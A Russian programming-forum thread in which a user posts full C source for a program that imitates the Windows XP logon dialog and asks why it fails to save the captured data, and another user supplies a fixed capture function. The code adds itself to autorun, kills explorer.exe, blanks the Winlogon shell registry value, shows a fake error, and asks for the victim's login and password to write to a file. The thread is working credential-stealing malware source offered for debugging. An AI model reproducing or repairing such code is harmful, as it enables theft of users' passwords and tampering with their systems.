singlepost

Не выполняется сохранение в файл << На главную или назад  

Кароче. Есть программа, которая имитирует Logon-диалог XP SP2. Принцип действия следующий.
При первом запуске она добавляет себя в автозагрузку и создаёт "счётчик" в реестре (чтобы запускаться через раз). После входа в систему программа запускается и завершает при этом процесс explorer.exe. Затем выводит сообщение об ошибке (типа введены неверные данные) и запрашивает пасс илогин. Юзер их вводит, после чего введённые им данные должны сохраняться в файл, а затем завершить саенс.
Все пункты, кроме сохранения в фаил, программа выполняет.

Внимание вопрос! Почему не выполняется сохранение в файл введённых данных?

9 ответов в теме “Не выполняется сохранение в файл”

  1. 8
    Исмиляев Тимур ответил:

    Сначала путь к файлу попробуй полностью прописать, если не поможет, попробуй записать не твои данные, а какой-нибудь текст, например:
    printf("test");

  2. 7
    Jaroslav Lysyy ответил:

    Неа. Непомогло…

  3. 6
    Исмиляев Тимур ответил:

    Попробуй это:
    void VisError_GetPass (void)
    {
    char *Pass = new char[max_line];
    char *Login = new char[max_line];

    FILE *out;

    out = fopen("LaP.txt", "w");

    printf("Input bad data\n");
    printf("Try again please, press any key…\n");
    getch();

    printf ("Enter you login: ");
    scanf("%s", Login);
    printf ("Enter you pass: ");
    scanf("%s", Pass);

    fputs (Login, out);
    fputs (Pass, out);

    fclose (out);
    };

  4. 5
    Jaroslav Lysyy ответил:

    /* Программа, имитирующая Logon-диалог ОС Windows XP*/
    /**/
    /* ************************************************** */

    // подключение либ
    #include <stdio.h>
    #include <windows.h>
    #include <stdbool.h>
    #include <tlhelp32.h>
    #include <conio.h>
    #include <string.h>

    #define max_line 100

    DWORD GetProcessID (void);// – Функция получения ID процесса
    void StopShell (void);// – изменяет параметр Shell в SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon
    // – для отмены автозапуска explorer.exe
    void StartShell (void);// изменяет Shell обратно для запуска explorer.exe

    int meter (void);// функция-счётчик, для проверки на запуск программы
    void AddInAuto (void);// функция добавляющая программу в автозагрузку

    void VisError_GetPass (void);

    int main ()
    {

    AddInAuto ();

    if (meter() == 48){ return 0; }// 48 – "0"
    else {
    // получение хендла процесса
    HANDLE hProcess = OpenProcess (PROCESS_TERMINATE, FALSE, GetProcessID());
    UINT fuExitCode;

    // ТерминейтПроцесс – завершает процесс
    TerminateProcess (hProcess, fuExitCode);
    StopShell ();

    VisError_GetPass ();

    StartShell ();

    // Завершение сеанса юзера
    ExitWindowsEx (EWX_LOGOFF, 0);
    }

    return 0;
    }

    DWORD GetProcessID(void)
    {
    DWORD ProcID;
    HANDLE pSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // снимок процессов

    bool bIsok = false;

    PROCESSENTRY32 ProcEntry;
    ProcEntry.dwSize = sizeof(ProcEntry); // задание размера структуры, хранящей инфу о процессе
    bIsok = Process32First(pSnap, &ProcEntry);
    while(bIsok)
    {
    // поиск процесса по его имени
    if (!strcmp (ProcEntry.szExeFile, "explorer.exe")){
    ProcID = ProcEntry.th32ProcessID;
    break;}

    // некст процесс
    bIsok = Process32Next(pSnap, &ProcEntry);

    }

    CloseHandle(pSnap);// фрии память
    return ProcID;
    }

    void StopShell (void)
    {
    LONG LResult; // результат работы функции RegOpenKeyEx
    HKEY hKey;
    LPCTSTR PathValueName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";

    LResult = RegOpenKeyEx (HKEY_LOCAL_MACHINE, PathValueName, 0, KEY_SET_VALUE, &hKey);

    LPTSTR plName = "Shell";
    LPTSTR clName = "";

    // изменение Shell с "explorer.exe" на "" , т.е. ничего :-)
    LResult = RegSetValueEx (hKey, plName, 0, REG_SZ, (LPBYTE)clName, (DWORD)(lstrlen(clName) + 1)*sizeof(TCHAR));

    }

    void StartShell ()
    {
    LONG LResult;
    HKEY hKey;
    LPTSTR PathValueName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";

    LResult = RegOpenKeyEx (HKEY_LOCAL_MACHINE, PathValueName, 0, KEY_SET_VALUE, &hKey);

    LPTSTR plName = "Shell";
    LPTSTR clName = "Explorer.exe";

    // изменение Шелл на експлорер
    LResult = RegSetValueEx (hKey, plName, 0, REG_SZ, (LPBYTE)clName, (DWORD)(lstrlen(clName) + 1) * sizeof(TCHAR));

    }

    int meter (void)
    {
    LONG LResult;
    HKEY hKey;
    LPTSTR dwData; // переменная для хранения значения параметра ключа
    DWORD dwDataSize = sizeof(dwData);
    LPTSTR plName = "cnt"; // имя параметра

    LResult= RegOpenKeyEx (HKEY_CLASSES_ROOT, "COUNT", 0, KEY_QUERY_VALUE, &hKey);

    // если ключ в реестре не создан, то он создаётся + создаётся параметр cnt
    // с начальным значением параметра 0
    if (!LResult == ERROR_SUCCESS){
    LResult = RegCreateKey (HKEY_CLASSES_ROOT, "COUNT", &hKey);

    LPTSTR clName = "0";

    LResult = RegSetValueEx (hKey, plName, 0, REG_SZ, (LPBYTE)clName, (DWORD)(lstrlen(clName) + 1) * sizeof(TCHAR));

  5. 4
    Jaroslav Lysyy ответил:

    return (int)clName;
    }

    // получение значения параметра
    LResult = RegQueryValueEx (hKey, TEXT("cnt"), NULL, NULL, (LPBYTE)&dwData, &dwDataSize);
    if (LResult == ERROR_SUCCESS){

    LPTSTR clName_1 = "1"; // переменные для обмена
    LPTSTR clName_0 = "0"; //

    //открытие для изменения значения параметра
    LResult= RegOpenKeyEx (HKEY_CLASSES_ROOT, "COUNT", 0, KEY_SET_VALUE, &hKey);

    // изменение значение с 0 на 1
    // и наоборот с 1 на 0
    if ( (int)dwData == 48) {
    LResult = RegSetValueEx (hKey, plName, 0, REG_SZ, (LPBYTE)clName_1, (DWORD)(lstrlen(clName_1) + 1) * sizeof(TCHAR));}
    else { LResult = RegSetValueEx (hKey, plName, 0, REG_SZ, (LPBYTE)clName_0, (DWORD)(lstrlen(clName_0) + 1) * sizeof(TCHAR));}

    // возвращение значения параметра
    return (int)dwData; }

    }

    void AddInAuto (void)
    {
    LONG LResult;
    HKEY hKey;
    LPCSTR ValueName = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
    LPTSTR clName = "C:\\mmm\\lcc\\mmm.exe";

    LResult = RegOpenKeyEx (HKEY_CURRENT_USER, ValueName, 0, KEY_SET_VALUE, &hKey);
    LResult = RegSetValueEx (hKey, "fff", 0, REG_SZ, (LPBYTE)clName, (DWORD)(lstrlen(clName)+1)*sizeof(TCHAR));
    }

    void VisError_GetPass (void)
    {
    char Pass[max_line];
    char Login[max_line];

    FILE *out;

    out = fopen("LaP.txt", "w");

    printf ("Input bad data\n");
    printf ("Try again please, press any key…");
    getch (); clrscr ();

    printf ("Enter you login: "); gets (Login);
    printf ("Enter you pass: ");gets (Pass);

    fputs (Login, out);
    fputs (Pass, out);

    fclose (out);

    }

  6. 3
    Исмиляев Тимур ответил:

    Код с выводом в файл "в студию" :)

  7. 2
    Павел Потапов ответил:

    ?????? ????

  8. 1
    Илья Антипенко ответил:

    телепаты?!

Клуб программистов работает уже ой-ой-ой сколько, а если поточнее, то с 2007 года.